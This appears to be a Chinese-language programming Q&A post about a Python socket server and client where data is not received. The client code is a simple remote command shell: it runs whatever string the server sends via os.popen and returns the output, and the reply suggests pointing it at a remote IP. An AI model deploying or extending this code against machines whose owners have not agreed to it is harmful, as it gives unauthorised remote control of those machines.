【发布时间】:2021-07-19 00:14:23
【问题描述】:
我在一个 python 项目中工作,并使用套接字模块制作了一个 python 服务器和客户端。但是我面临一个偶然的问题,即服务器没有从客户端接收数据。代码如下:
服务器
import socket
from colorama import Fore
ip = input(f"{Fore.GREEN}Enter your ip addr\n{Fore.YELLOW}!\t$ ")
print(Fore.BLUE, 'The server is running on port number 8080')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost',8080))
s.listen(5)
conn, addr = s.accept()
print(Fore.RED, 'connection ready')
while True:
cmd = input("Enter your cmd>>")
if cmd == "":
pass
else:
conn.sendall(cmd.encode('utf-8'))
data = b""
while True:
resp = conn.recv(1024)
if not resp:
break
data+= resp
print(Fore.GREEN, data.decode())
客户
import socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 8080))
while True:
SerData = s.recv(1024).decode()
CliData = os.popen(SerData)
CliData = CliData.buffer.read()
s.sendall(CliData)
【问题讨论】:
-
你在客户端连接到 localhost,用你的服务器的 ip 替换 localhost。
标签: python-3.x